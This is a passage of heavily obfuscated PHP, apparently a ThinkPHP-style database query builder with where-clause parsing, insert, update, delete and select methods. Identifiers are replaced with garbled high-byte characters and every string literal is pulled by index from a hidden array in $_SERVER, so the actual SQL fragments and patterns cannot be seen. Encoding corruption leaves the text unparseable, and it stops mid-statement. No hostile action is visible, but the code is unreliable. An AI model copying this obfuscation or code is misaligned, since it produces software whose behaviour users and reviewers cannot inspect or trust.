$ºÁËéØè[1029]), $÷¡‚–ØÍ); } elseif (is_bool($÷¡‚–ØÍ)) { $÷¡‚–ØÍ = $÷¡‚–ØÍ ? $ºÁËéØè[91] : $ºÁËéØè[228]; } elseif (is_null($÷¡‚–ØÍ)) { $÷¡‚–ØÍ = $ºÁËéØè[106]; } return $÷¡‚–ØÍ; } protected function parseField($ûÐØÂÁ›) { $ŠâŒÝ‡ú =& $_SERVER[ˆ¡¹µ‹Â]; if (is_string($ûÐØÂÁ›) && strpos($ûÐØÂÁ›, $ŠâŒÝ‡ú[50])) { $ûÐØÂÁ› = explode($ŠâŒÝ‡ú[50], $ûÐØÂÁ›); } if (is_array($ûÐØÂÁ›)) { $÷ޏŒžÎ = array(); foreach ($ûÐØÂÁ› as $­µÝ׫Á => $ÔѪǰ¾) { if (!is_numeric($­µÝ׫Á)) { $÷ޏŒžÎ[] = $this->parseKey($­µÝ׫Á, !1) . $ŠâŒÝ‡ú[1069] . $this->parseKey($ÔѪǰ¾); } else { $÷ޏŒžÎ[] = $this->parseKey($ÔѪǰ¾); } } $ªÅ¶¹¶š = implode($ŠâŒÝ‡ú[50], $÷ޏŒžÎ); } elseif (is_string($ûÐØÂÁ›) && !empty($ûÐØÂÁ›)) { $ªÅ¶¹¶š = $ûÐØÂÁ›; } else { $ªÅ¶¹¶š = $ŠâŒÝ‡ú[220]; } return $ªÅ¶¹¶š; } protected function parseTable($ÈÒ²ŸÕÜ) { $îš×¸£Ð =& $_SERVER[ˆ¡¹µ‹Â]; if (is_array($ÈÒ²ŸÕÜ)) { $‘ׅÎä = array(); foreach ($ÈÒ²ŸÕÜ as $õËÑ’ƒ™ => $ŠÖóÉî€) { if (!is_numeric($õËÑ’ƒ™)) { $‘ׅÎä[] = $this->parseKey($õËÑ’ƒ™) . $îš×¸£Ð[53] . $this->parseKey($ŠÖóÉî€); } else { $‘ׅÎä[] = $this->parseKey($õËÑ’ƒ™); } } $ÈÒ²ŸÕÜ = $‘ׅÎä; } elseif (is_string($ÈÒ²ŸÕÜ)) { if (strstr($ÈÒ²ŸÕÜ, $îš×¸£Ð[53])) { return $ÈÒ²ŸÕÜ; } $ÈÒ²ŸÕÜ = explode($îš×¸£Ð[50], $ÈÒ²ŸÕÜ); array_walk($ÈÒ²ŸÕÜ, array($this, $îš×¸£Ð[977])); } return $îš×¸£Ð[971] . trim(implode($îš×¸£Ð[1070], $ÈÒ²ŸÕÜ), $îš×¸£Ð[461]) . $îš×¸£Ð[971]; } protected function parseWhere($þ³£óí¨) { $܈ÇãÄÓ =& $_SERVER[ˆ¡¹µ‹Â]; $­È<C2AD>ûˆ = $܈ÇãÄÓ[12]; if (is_string($þ³£óí¨)) { $­È<C2AD>ûˆ = $þ³£óí¨; } else { $ëõíƒùž = isset($þ³£óí¨[$܈ÇãÄÓ[1071]]) ? strtoupper($þ³£óí¨[$܈ÇãÄÓ[1071]]) : $܈ÇãÄÓ[12]; if (in_array($ëõíƒùž, array($܈ÇãÄÓ[1072], $܈ÇãÄÓ[1073], $܈ÇãÄÓ[1074]))) { $ëõíƒùž = $܈ÇãÄÓ[53] . $ëõíƒùž . $܈ÇãÄÓ[53]; unset($þ³£óí¨[$܈ÇãÄÓ[1071]]); } else { $ëõíƒùž = $܈ÇãÄÓ[1075]; } foreach ($þ³£óí¨ as $뮡äÕ— => $ùÔ‡<C394>—²) { $­È<C2AD>ûˆ .= $܈ÇãÄÓ[354]; if (is_numeric($뮡äÕ—)) { $뮡äÕ— = $܈ÇãÄÓ[1076]; } if (0 === strpos($뮡äÕ—, $܈ÇãÄÓ[11])) { $­È<C2AD>ûˆ .= $this->parseThinkWhere($뮡äÕ—, $ùÔ‡<C394>—²); } else { if (!preg_match($܈ÇãÄÓ[1077], trim($뮡äÕ—))) { think_exception(think_lang($܈ÇãÄÓ[1078]) . $܈ÇãÄÓ[4] . $뮡äÕ—); } $Òˆµ¢’Š = is_array($ùÔ‡<C394>—²) && isset($ùÔ‡<C394>—²[$܈ÇãÄÓ[1079]]); $뮡äÕ— = trim($뮡äÕ—); if (strpos($뮡äÕ—, $܈ÇãÄÓ[214])) { $¡Õ<C2A1>å·é = explode($܈ÇãÄÓ[214], $뮡äÕ—); $‡™­ÎŠ© = array(); foreach ($¡Õ<C2A1>å·é as $…£œ…ŸÔ => $©É<C2A9>¥) { $Ú¸£ê·‡ = $Òˆµ¢’Š ? $ùÔ‡<C394>—²[$…£œ…ŸÔ] : $ùÔ‡<C394>—²; $‡™­ÎŠ©[] = $܈ÇãÄÓ[337] . $this->parseWhereItem($this->parseKey($©É<C2A9>¥), $Ú¸£ê·‡) . $܈ÇãÄÓ[976]; } $­È<C2AD>ûˆ .= implode($܈ÇãÄÓ[1080], $‡™­ÎŠ©); } elseif (strpos($뮡äÕ—, $܈ÇãÄÓ[360])) { $¡Õ<C2A1>å·é = explode($܈ÇãÄÓ[360], $뮡äÕ—); $‡™­ÎŠ© = array(); foreach ($¡Õ<C2A1>å·é as $…£œ…ŸÔ => $©É<C2A9>¥) { $Ú¸£ê·‡ = $Òˆµ¢’Š ? $ùÔ‡<C394>—²[$…£œ…ŸÔ] : $ùÔ‡<C394>—²; $‡™­ÎŠ©[] = $܈ÇãÄÓ[337] . $this->parseWhereItem($this->parseKey($©É<C2A9>¥), $Ú¸£ê·‡) . $܈ÇãÄÓ[976]; } $­È<C2AD>ûˆ .= implode($܈ÇãÄÓ[1075], $‡™­ÎŠ©); } else { $­È<C2AD>ûˆ .= $this->parseWhereItem($this->parseKey($뮡äÕ—), $ùÔ‡<C394>—²); } } $­È<C2AD>ûˆ .= $܈ÇãÄÓ[355] . $ëõíƒùž; } $­È<C2AD>ûˆ = substr($­È<C2AD>ûˆ, 0, -strlen($ëõíƒùž)); } return empty($­È<C2AD>ûˆ) ? $܈ÇãÄÓ[12] : $܈ÇãÄÓ[1081] . $­È<C2AD>ûˆ; } protected function parseWhereItem($ýØë—Ü×, $¿²<C2BF>Ä¿ë) { $ŒüÃ‚à— =& $_SERVER[ˆ¡¹µ‹Â]; $¯¸â<C2B8>Ìê = $ŒüÂà—[12]; if (is_array($¿²<C2BF>Ä¿ë)) { if (is_string($¿²<C2BF>Ä¿ë[0])) { $ý²ÝÐ¶Ä = strtolower($¿²<C2BF>Ä¿ë[0]); if (in_array($¿²<C2BF>Ä¿ë[0], array($ŒüÂà—[506], $ŒüÂà—[1082], $ŒüÂà—[1083], $ŒüÂà—[1084], $ŒüÂà—[1085], $ŒüÂà—[1086]))) { $¯¸â<C2B8>Ìê .= $ýØë—Ü× . $ŒüÂà—[53] . $¿²<C2BF>Ä¿ë[0] . $ŒüÂà—[53] . $this->parseValue($¿²<C2BF>Ä¿ë[1]); } elseif (preg_match($ŒüÂà—[1087], $¿²<C2BF>Ä¿ë[0])) { $¯¸â<C2B8>Ìê .= $ýØë—Ü× . $ŒüÂà—[53] . $this->exp[$ý²ÝжÄ] . $ŒüÂà—[53] . $this->parseValue($¿²<C2BF>Ä¿ë[1]); } elseif (preg_match($ŒüÂà—[1088], $¿²<C2BF>Ä¿ë[0])) { if (is_array($¿²<C2BF>Ä¿ë[1])) { $Þ¸¯Ÿ­Ó = isset($¿²<C2BF>Ä¿ë[2]) ? strtoupper($¿²<C2BF>Ä¿ë[2]) : $ŒüÂà—[1073]; if (in_array($Þ¸¯Ÿ­Ó, array($ŒüÂà—[1072], $ŒüÂà—[1073], $ŒüÂà—[1074]))) { $çîíîå– = array(); foreach ($¿²<C2BF>Ä¿ë[1] as $Š£ö€²“) { $çîíîå–[] = $ýØë—Ü× . $ŒüÂà—[53] . $this->exp[$ý²ÝжÄ] . $ŒüÂà—[53] . $this->parseValue($Š£ö€²“); } $¯¸â<C2B8>Ìê .= $ŒüÂà—[337] . implode($ŒüÂà—[53] . $Þ¸¯Ÿ­Ó . $ŒüÂà—[53], $çîíîå–) . $ŒüÂà—[976]; } } else { $¯¸â<C2B8>Ìê .= $ýØë—Ü× . $ŒüÂà—[53] . $this->exp[$ý²ÝжÄ] . $ŒüÂà—[53] . $this->parseValue($¿²<C2BF>Ä¿ë[1]); } } elseif ($ŒüÂà—[373] == $ý²ÝжÄ) { $¯¸â<C2B8>Ìê .= $ŒüÂà—[974] . $ýØë—Ü× . $ŒüÂà—[53] . $¿²<C2BF>Ä¿ë[1] . $ŒüÂà—[1089]; } elseif (preg_match($ŒüÂà—[1090], $¿²<C2BF>Ä¿ë[0])) { $¯¸â<C2B8>Ìê .= $¿²<C2BF>Ä¿ë[0]; } elseif (preg_match($ŒüÂà—[1091], $¿²<C2BF>Ä¿ë[0])) { if (isset($¿²<C2BF>Ä¿ë[2]) && $ŒüÂà—[373] == $¿²<C2BF>Ä¿ë[2]) { $¯¸â<C2B8>Ìê .= $ýØë—Ü× . $ŒüÂà—[53] . $this->exp[$ý²ÝжÄ] . $ŒüÂà—[53] . $¿²<C2BF>Ä¿ë[1]; } else { if (is_string($¿²<C2BF>Ä¿ë[1])) { $¿²<C2BF>Ä¿ë[1] = explode($ŒüÂà—[50], $¿²<C2BF>Ä¿ë[1]); } $¿ÇíÁ¬ = implode($ŒüÂà—[50], $this->parseValue($¿²<C2BF>Ä¿ë[1])); $¯¸â<C2B8>Ìê .= $ýØë—Ü× . $ŒüÂà—[53] . $this->exp[$ý²ÝжÄ] . $ŒüÂà—[974] . $¿ÇíÁ¬ . $ŒüÂà—[976]; } } elseif (preg_match($ŒüÂà—[1092], $¿²<C2BF>Ä¿ë[0])) { $Ð亵þ® = is_string($¿²<C2BF>Ä¿ë[1]) ? explode($ŒüÂà—[50], $¿²<C2BF>Ä¿ë[1]) : $¿²<C2BF>Ä¿ë[1]; $¯¸â<C2B8>Ìê .= $ŒüÂà—[974] . $ýØë—Ü× . $ŒüÂà—[53] . $this->exp[$ý²ÝжÄ] . $ŒüÂà—[53] . $this->parseValue($Ð亵þ®[0]) . $ŒüÂà—[1075] . $this->parseValue($Ð亵þ®[1]) . $ŒüÂà—[355]; } else { think_exception(think_lang($ŒüÂà—[1078]) . $ŒüÂà—[4] . $¿²<C2BF>Ä¿ë[0]); } } else { $ŸñÖõ­ƒ = count($¿²<C2BF>Ä¿ë); $™ÜßðÈÑ = $ŒüÂà—[12]; if (is_string($¿²<C2BF>Ä¿ë[$ŸñÖõ­ƒ - 1])) { $™ÜßðÈÑ = isset($¿²<C2BF>Ä¿ë[$ŸñÖõ­ƒ - 1]) ? strtoupper($¿²<C2BF>Ä¿ë[$ŸñÖõ­ƒ - 1]) : $ŒüÂà—[12]; if (in_array($™ÜßðÈÑ, array($ŒüÂà—[1072], $ŒüÂà—[1073], $ŒüÂà—[1074]))) { $ŸñÖõ­ƒ = $ŸñÖõ­ƒ - 1; } } else { $™ÜßðÈÑ = $ŒüÂà—[1072]; } for ($ûÒæ‘íŒ = 0; $ûÒæ‘íŒ < $ŸñÖõ­ƒ; $ûÒæ‘íŒ++) { $Ð亵þ® = is_array($¿²<C2BF>Ä¿ë[$ûÒæ‘íŒ]) ? $¿²<C2BF>Ä¿ë[$ûÒæ‘íŒ][1] : $¿²<C2BF>Ä¿ë[$ûÒæ‘íŒ]; if ($ŒüÂà—[373] == strtolower($¿²<C2BF>Ä¿ë[$ûÒæ‘íŒ][0])) { $¯¸â<C2B8>Ìê .= $ŒüÂà—[337] . $ýØë—Ü× . $ŒüÂà—[53] . $Ð亵þ® . $ŒüÂà—[1089] . $™ÜßðÈÑ . $ŒüÂà—[53]; } else { $ϥݫºæ = is_array($¿²<C2BF>Ä¿ë[$ûÒæ‘íŒ]) ? $this->exp[strtolower($¿²<C2BF>Ä¿ë[$ûÒæ‘íŒ][0])] : $ŒüÂà—[506]; if (!$ϥݫºæ && is_array($¿²<C2BF>Ä¿ë[$ûÒæ‘íŒ]) && in_array($¿²<C2BF>Ä¿ë[$ûÒæ‘íŒ][0], array($ŒüÂà—[506], $ŒüÂà—[1082], $ŒüÂà—[1083], $ŒüÂà—[1084], $ŒüÂà—[1085], $ŒüÂà—[1086]))) { $ϥݫºæ = $¿²<C2BF>Ä¿ë[$ûÒæ‘íŒ][0]; } $¯¸â<C2B8>Ìê .= $ŒüÂà—[337] . $ýØë—Ü× . $ŒüÂà—[53] . $ϥݫºæ . $ŒüÂà—[53] . $this->parseValue($Ð亵þ®) . $ŒüÂà—[1089] . $™ÜßðÈÑ . $ŒüÂà—[53]; } } $¯¸â<C2B8>Ìê = substr($¯¸â<C2B8>Ìê, 0, -4); } } else { $¯¸â<C2B8>Ìê .= $ýØë—Ü× . $ŒüÂà—[1093] . $this->parseValue($¿²<C2BF>Ä¿ë); } return $¯¸â<C2B8>Ìê; } protected function parseThinkWhere($Ùƒ£ú•¿, $Н¹Àýû) { $åÃÔåæã =& $_SERVER[ˆ¡¹µ‹Â]; $âÏüÇü• = $åÃÔåæã[12]; switch ($Ùƒ£ú•¿) { case $åÃÔåæã[428]: $âÏüÇü• = $Н¹Àýû; break; case $åÃÔåæã[1076]: $âÏüÇü• = is_string($Н¹Àýû) ? $Н¹Àýû : substr($this->parseWhere($Н¹Àýû), 6); break; case $åÃÔåæã[1094]: parse_str($Н¹Àýû, $±±ŸÍÓÖ); if (isset($±±ŸÍÓÖ[$åÃÔåæã[1071]])) { $†Ùøþñô = $åÃÔåæã[53] . strtoupper($±±ŸÍÓÖ[$åÃÔåæã[1071]]) . $åÃÔåæã[53]; unset($±±ŸÍÓÖ[$åÃÔåæã[1071]]); } else { $†Ùøþñô = $åÃÔåæã[1075]; } $ÁæÐÏÊÔ = array(); foreach ($±±ŸÍÓÖ as $êÏí‘¬Ò => $±üïÍ¥è) { $ÁæÐÏÊÔ[] = $this->parseKey($êÏ푬Ò) . $åÃÔåæã[1093] . $this->parseValue($±üïÍ¥è); } $âÏüÇü• = implode($†Ùøþñô, $ÁæÐÏÊÔ); break; } return $âÏüÇü•; } protected function parseLimit($­ÒðÈð†) { $ûÐÃÞÁ« =& $_SERVER[ˆ¡¹µ‹Â]; return !empty($­ÒðÈð†) ? $ûÐÃÞÁ«[51] . $­ÒðÈð† . $ûÐÃÞÁ«[53] : $ûÐÃÞÁ«[12]; } protected function parseJoin($<24>ŠÅ¨×Á) { $‹òª›­« =& $_SERVER[ˆ¡¹µ‹Â]; $þˆ›ù©é = $‹òª›­«[12]; if (!empty($<24>ŠÅ¨×Á)) { if (is_array($<24>ŠÅ¨×Á)) { foreach ($<24>ŠÅ¨×Á as $¡÷þÕÌ´ => $•ÙÄÕ<C384>Ú) { if (!1 !== stripos($•ÙÄÕ<C384>Ú, $‹òª›­«[1095])) { $þˆ›ù©é .= $‹òª›­«[53] . $•ÙÄÕ<C384>Ú; } else { $þˆ›ù©é .= $‹òª›­«[1096] . $•ÙÄÕ<C384>Ú; } } } else { $þˆ›ù©é .= $‹òª›­«[1096] . $<24>ŠÅ¨×Á; } } $þˆ›ù©é = preg_replace($‹òª›­«[1097], think_config($‹òª›­«[1001]) . $‹òª›­«[1098], $þˆ›ù©é); return $þˆ›ù©é; } protected function parseOrder($úßðÊÄ“) { $ªËõ—²» =& $_SERVER[ˆ¡¹µ‹Â]; if (is_array($úßðÊÄ“)) { $Ðäښɼ = array(); foreach ($úßðÊÄ“ as $©•¼¿Äæ => $ƒ<>ûبõ) { if (is_numeric($©•¼¿Äæ)) { $Ðäښɼ[] = $this->parseKey($ƒ<>ûبõ); } else { $ƒ<>ûبõ = in_array(strtoupper(trim($ƒ<>ûبõ)), array($ªËõ—²»[1099], $ªËõ—²»[1100])) ? $ªËõ—²»[53] . $ƒ<>ûبõ : $ªËõ—²»[12]; if (preg_match($ªËõ—²»[1101], $©•¼¿Äæ)) { $Ðäښɼ[] = $this->parseKey($©•¼¿Äæ) . $ƒ<>ûبõ; } else { think_exception($ªËõ—²»[1102] . $©•¼¿Äæ); } } } $úßðÊÄ“ = implode($ªËõ—²»[50], $Ðäښɼ); } return !empty($úßðÊÄ“) ? $ªËõ—²»[1103] . $úßðÊÄ“ : $ªËõ—²»[12]; } protected function parseGroup($<24>Òçž°¼) { $óߦ‚Ū =& $_SERVER[ˆ¡¹µ‹Â]; return !empty($<24>Òçž°¼) ? $óߦ‚Ū[1104] . $<24>Òçž°¼ : $óߦ‚Ū[12]; } protected function parseHaving($¿¬Žüïð) { $ñ„ó¡<C3B3>à =& $_SERVER[ˆ¡¹µ‹Â]; return !empty($¿¬Žüïð) ? $ñ„ó¡<C3B3>à[1105] . $¿¬Žüïð : $ñ„ó¡<C3B3>à[12]; } protected function parseComment($”ñªê˲) { $˜Ï<CB9C>Ö„Î =& $_SERVER[ˆ¡¹µ‹Â]; return !empty($”ñªê˲) ? $˜Ï<CB9C>Ö„Î[1106] . $”ñªê˲ . $˜Ï<CB9C>Ö„Î[1107] : $˜Ï<CB9C>Ö„Î[12]; } protected function parseDistinct($Àó<C380>ØÆ) { $ð¿Ðä<C3A4> =& $_SERVER[ˆ¡¹µ‹Â]; return !empty($Àó<C380>ØÆ) ? $ð¿Ðä<C3A4>[1108] : $ð¿Ðä<C3A4>[12]; } protected function parseUnion($ÈÓÆâµ¿) { $à°†„âÔ =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($ÈÓÆâµ¿)) { return $à°†„âÔ[12]; } if (isset($ÈÓÆâµ¿[$à°†„âÔ[424]])) { $®ÇÈÞ¬ò = $à°†„âÔ[1109]; unset($ÈÓÆâµ¿[$à°†„âÔ[424]]); } else { $®ÇÈÞ¬ò = $à°†„âÔ[1110]; } foreach ($ÈÓÆâµ¿ as $ôÅôù<C3B4>†) { $ÀÚÌ<C39A>¼†[] = $®ÇÈÞ¬ò . (is_array($ôÅôù<C3B4>†) ? $this->buildSelectSql($ôÅôù<C3B4>†) : $ôÅôù<C3B4>†); } return implode($à°†„âÔ[53], $ÀÚÌ<C39A>¼†); } public function insert($¤„¸Ë’ò, $öã‚¢Öñ = array(), $‡þÞþÔì = false) { $çþÊ =& $_SERVER[ˆ¡¹µ‹Â]; $’­é¦°– = $±ø°…²ù = array(); $this->model = $öã‚¢Öñ[$çþÊ[358]]; foreach ($¤„¸Ë’ò as $¡£…”â¿ => $åÈàÇë‚) { if (is_array($åÈàÇë‚) && $çþÊ[373] == $åÈàÇë‚[0]) { $±ø°…²ù[] = $this->parseKey($¡£…”â¿); $’­é¦°–[] = $åÈàÇë‚[1]; } elseif (is_scalar($åÈàÇë‚) || is_null($åÈàÇë‚)) { $±ø°…²ù[] = $this->parseKey($¡£…”â¿); $’­é¦°–[] = $this->parseValue($åÈàÇë‚); } } $» £¸Ýº = ($‡þÞþÔì ? $çþÊ[978] : $çþÊ[979]) . $çþÊ[980] . $this->parseTable($öã‚¢Öñ[$çþÊ[356]]) . $çþÊ[974] . implode($çþÊ[50], $±ø°…²ù) . $çþÊ[975] . implode($çþÊ[50], $’­é¦°–) . $çþÊ[976]; $» £¸Ýº .= $this->parseLock(isset($öã‚¢Öñ[$çþÊ[918]]) ? $öã‚¢Öñ[$çþÊ[918]] : !1); $» £¸Ýº .= $this->parseComment(!empty($öã‚¢Öñ[$çþÊ[430]]) ? $öã‚¢Öñ[$çþÊ[430]] : $çþÊ[12]); return $this->execute($» £¸Ýº, $this->parseBind(!empty($öã‚¢Öñ[$çþÊ[361]]) ? $öã‚¢Öñ[$çþÊ[361]] : array())); } public function selectInsert($—¡Œè¹ç, $¡±ôþž€, $ÁÞ¥ôÈò = array()) { $¸צÁ<C2A6> =& $_SERVER[ˆ¡¹µ‹Â]; $this->model = $ÁÞ¥ôÈò[$¸צÁ<C2A6>[358]]; if (is_string($—¡Œè¹ç)) { $—¡Œè¹ç = explode($¸צÁ<C2A6>[50], $—¡Œè¹ç); } array_walk($—¡Œè¹ç, array($this, $¸צÁ<C2A6>[977])); $<24>ë­ÀÃñ = $¸צÁ<C2A6>[1111] . $this->parseTable($¡±ôþž€) . $¸צÁ<C2A6>[974] . implode($¸צÁ<C2A6>[50], $—¡Œè¹ç) . $¸צÁ<C2A6>[1089]; $<24>ë­ÀÃñ .= $this->buildSelectSql($ÁÞ¥ôÈò); return $this->execute($<24>ë­ÀÃñ, $this->parseBind(!empty($ÁÞ¥ôÈò[$¸צÁ<C2A6>[361]]) ? $ÁÞ¥ôÈò[$¸צÁ<C2A6>[361]] : array())); } public function update($¤úÒñœæ, $îò¨üë») { $·ÀÍ÷ßî =& $_SERVER[ˆ¡¹µ‹Â]; $this->model = $îò¨üë»[$·ÀÍ÷ßî[358]]; $˜<CB9C>ñ<EFBFBD>ë = $·ÀÍ÷ßî[1112] . $this->parseTable($îò¨üë»[$·ÀÍ÷ßî[356]]) . $this->parseSet($¤úÒñœæ) . $this->parseWhere(!empty($îò¨üë»[$·ÀÍ÷ßî[352]]) ? $îò¨üë»[$·ÀÍ÷ßî[352]] : $·ÀÍ÷ßî[12]) . $this->parseOrder(!empty($îò¨üë»[$·ÀÍ÷ßî[441]]) ? $îò¨üë»[$·ÀÍ÷ßî[441]] : $·ÀÍ÷ßî[12]) . $this->parseLimit(!empty($îò¨üë»[$·ÀÍ÷ßî[368]]) ? $îò¨üë»[$·ÀÍ÷ßî[368]] : $·ÀÍ÷ßî[12]) . $this->parseLock(isset($îò¨üë»[$·ÀÍ÷ßî[918]]) ? $îò¨üë»[$·ÀÍ÷ßî[918]] : !1) . $this->parseComment(!empty($îò¨üë»[$·ÀÍ÷ßî[430]]) ? $îò¨üë»[$·ÀÍ÷ßî[430]] : $·ÀÍ÷ßî[12]); return $this->execute($˜<CB9C>ñ<EFBFBD>ë, $this->parseBind(!empty($îò¨üë»[$·ÀÍ÷ßî[361]]) ? $îò¨üë»[$·ÀÍ÷ßî[361]] : array())); } public function delete($<24>ÝφðÙ = array()) { $–ÍÓ«ñ­ =& $_SERVER[ˆ¡¹µ‹Â]; $this->model = $<24>ÝφðÙ[$–ÍÓ«ñ­[358]]; $ùãý©‘Û = $–ÍÓ«ñ­[1113] . $this->parseTable($<24>ÝφðÙ[$–ÍÓ«ñ­[356]]) . $this->parseWhere(!empty($<24>ÝφðÙ[$–ÍÓ«ñ­[352]]) ? $<24>ÝφðÙ[$–ÍÓ«ñ­[352]] : $–ÍÓ«ñ­[12]) . $this->parseOrder(!empty($<24>ÝφðÙ[$–ÍÓ«ñ­[441]]) ? $<24>ÝφðÙ[$–ÍÓ«ñ­[441]] : $–ÍÓ«ñ­[12]) . $this->parseLimit(!empty($<24>ÝφðÙ[$–ÍÓ«ñ­[368]]) ? $<24>ÝφðÙ[$–ÍÓ«ñ­[368]] : $–ÍÓ«ñ­[12]) . $this->parseLock(isset($<24>ÝφðÙ[$–ÍÓ«ñ­[918]]) ? $<24>ÝφðÙ[$–ÍÓ«ñ­[918]] : !1) . $this->parseComment(!empty($<24>ÝφðÙ[$–ÍÓ«ñ­[430]]) ? $<24>ÝφðÙ[$–ÍÓ«ñ­[430]] : $–ÍÓ«ñ­[12]); return $this->execute($ùãý©‘Û, $this->parseBind(!empty($<24>ÝφðÙ[$–ÍÓ«ñ­[361]]) ? $<24>ÝφðÙ[$–ÍÓ«ñ­[361]] : array())); } public function select($‡×»ÎѺ = array()) { $žÄä­× =& $_SERVER[ˆ¡¹µ‹Â]; $this->model = $‡×»ÎѺ[$žÄä­×[358]]; $ÃÙ§ÐÙÖ = $this->buildSelectSql($‡×»ÎѺ); $ê­ò½—Ç = isset($‡×»ÎѺ[$žÄä­×[425]]) ? $‡×»ÎѺ[$žÄä­×[425]] : !1; if ($ê­ò½—Ç) { $髿çÀÑ = is_string($ê­ò½—Ç[$žÄä­×[97]]) ? $ê­ò½—Ç[$žÄä­×[97]] : $žÄä­×[1114] . md5($ÃÙ§ÐÙÖ); $ÒñÇüõØ = think_cache($髿çÀÑ, $žÄä­×[12], $ê­ò½—Ç); if (!1 !== $ÒñÇüõØ) { return $ÒñÇüõØ; } } $¥¢óçºñ = $this->query($ÃÙ§ÐÙÖ, $this->parseBind(!empty($‡×»ÎѺ[$žÄä­×[361]]) ? $‡×»ÎѺ[$žÄä­×[361]] : array())); if ($ê­ò½—Ç && !1 !== $¥¢óçºñ) { think_cache($髿çÀÑ, $¥¢óçºñ, $ê­ò½—Ç); } return $¥¢óçºñ; } public function buildSelectSql($žä’Û£ê = array()) { $úÊ÷®øÂ =& $_SERVER[ˆ¡¹µ‹Â]; if (isset($žä’Û£ê[$úÊ÷®øÂ[429]])) { if (strpos($žä’Û£ê[$úÊ÷®øÂ[429]], $úÊ÷®øÂ[50])) { list($¢Ö²ˆçÑ, $<24>Îë¼î§) = explode($úÊ÷®øÂ[50], $žä’Û£ê[$úÊ÷®øÂ[429]]); } else { $¢Ö²ˆçÑ = $žä’Û£ê[$úÊ÷®øÂ[429]]; } $¢Ö²ˆçÑ = $¢Ö²ˆçÑ ? $¢Ö²ˆçÑ : 1; $<24>Îë¼î§ = isset($<24>Îë¼î§) ? $<24>Îë¼î§ : (is_numeric($žä’Û£ê[$úÊ÷®øÂ[368]]) ? $žä’Û£ê[$úÊ÷®øÂ[368]] : 20); $€¨<E282AC>öºÐ = $<24>Îë¼î§ * ((int) $¢Ö²ˆçÑ - 1); $žä’Û£ê[$úÊ÷®øÂ[368]] = $€¨<E282AC>öºÐ . $úÊ÷®øÂ[50] . $<24>Îë¼î§; } if (think_config($úÊ÷®øÂ[1115])) { $£Ìù³¡Í = $úÊ÷®øÂ[1116] . md5(serialize($žä’Û£ê)); $°‰ÔØÖº = think_cache($£Ìù³¡Í); if ($°‰ÔØÖº) { return $°‰ÔØÖº; } } $¥Êá½þ¥ = $this->parseSql($this->selectSql, $žä’Û£ê); $¥Êá½þ¥ .= $this->parseLock(isset($žä’Û£ê[$úÊ÷®øÂ[918]]) ? $žä’Û£ê[$úÊ÷®øÂ[918]] : !1); if (isset($£Ìù³¡Í)) { think_cache($£Ìù³¡Í, $¥Êá½þ¥); } return $¥Êá½þ¥; } public function parseSql($ìÙãØÍˆ, $ßš¶€Æè = array()) { $ŦþÖƒß =& $_SERVER[ˆ¡¹µ‹Â]; $ìÙãØÍˆ = str_replace(array($ŦþÖƒß[1117], $ŦþÖƒß[1118], $ŦþÖƒß[1119], $ŦþÖƒß[1120], $ŦþÖƒß[1121], $ŦþÖƒß[1122], $ŦþÖƒß[1123], $ŦþÖƒß[1124], $ŦþÖƒß[1125], $ŦþÖƒß[1126], $ŦþÖƒß[1127]), array($this->parseTable("{$ßš¶€Æè[$ŦþÖƒß[356]]}"), $this->parseDistinct(isset($ßš¶€Æè[$ŦþÖƒß[1128]]) ? $ßš¶€Æè[$ŦþÖƒß[1128]] : !1), $this->parseField(!empty($ßš¶€Æè[$ŦþÖƒß[350]]) ? $ßš¶€Æè[$ŦþÖƒß[350]] : $ŦþÖƒß[220]), $this->parseJoin(!empty($ßš¶€Æè[$ŦþÖƒß[359]]) ? $ßš¶€Æè[$ŦþÖƒß[359]] : $ŦþÖƒß[12]), $this->parseWhere(!empty($ßš¶€Æè[$ŦþÖƒß[352]]) ? $ßš¶€Æè[$ŦþÖƒß[352]] : $ŦþÖƒß[12]), $this->parseGroup(!empty($ßš¶€Æè[$ŦþÖƒß[578]]) ? $ßš¶€Æè[$ŦþÖƒß[578]] : $ŦþÖƒß[12]), $this->parseHaving(!empty($ßš¶€Æè[$ŦþÖƒß[1129]]) ? $ßš¶€Æè[$ŦþÖƒß[1129]] : $ŦþÖƒß[12]), $this->parseOrder(!empty($ßš¶€Æè[$ŦþÖƒß[441]]) ? $ßš¶€Æè[$ŦþÖƒß[441]] : $ŦþÖƒß[12]), $this->parseLimit(!empty($ßš¶€Æè[$ŦþÖƒß[368]]) ? $ßš¶€Æè[$ŦþÖƒß[368]] : $ŦþÖƒß[12]), $this->parseUnion(!empty($ßš¶€Æè[$ŦþÖƒß[423]]) ? $ßš¶€Æè[$ŦþÖƒß[423]] : $ŦþÖƒß[12]), $this->parseComment(!empty($ßš¶€Æè[$ŦþÖƒß[430]]) ? $ßš¶€Æè[$ŦþÖƒß[430]] : $ŦþÖƒß[12])), $ìÙãØÍˆ); return $ìÙãØÍˆ; } public function getLastSql($©º€Óé<C393> = '') { return $©º€Óé<C393> ? $this->modelSql[$©º€Óé<C393>] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($úƒÎ¸Ÿ‰) { return addslashes($úƒÎ¸Ÿ‰); } public function setModel($<24>þ»¬æ£) { $this->model = $<24>þ»¬æ£; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($ö·¿Ÿíó = array()) { $®ÞêèÔ¼ =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($ö·¿Ÿíó)) { $ö·¿Ÿíó = $GLOBALS[$®ÞêèÔ¼[6]][$®ÞêèÔ¼[21]]; } $this->database = $ö·¿Ÿíó; } public function model($µÌ«Â£ú = '') { return new ModelBase($µÌ«Â£ú, $_SERVER[ˆ¡¹µ‹Â][12], $this->database); } public function db($íðÆÉ²ý = false) { $ÊôæÝä<C39D> =& $_SERVER[ˆ¡¹µ‹Â]; $‹Ç®¸Æ´ = array_change_key_case($this->database); if ($this->dbType() == $ÊôæÝä<C39D>[13] || !$íðÆÉ²ý) { return $this->model()->db(); } $â<>øæ¥ = $‹Ç®¸Æ´[$ÊôæÝä<C39D>[1043]]; $‹Ç®¸Æ´[$ÊôæÝä<C39D>[1043]] = $ÊôæÝä<C39D>[12]; if ($‹Ç®¸Æ´[$ÊôæÝä<C39D>[1038]] == $ÊôæÝä<C39D>[1035]) { $<24>•¯òµß = $‹Ç®¸Æ´[$ÊôæÝä<C39D>[1044]]; $‹Ç®¸Æ´[$ÊôæÝä<C39D>[1044]] = substr($<24>•¯òµß, 0, strrpos($<24>•¯òµß, 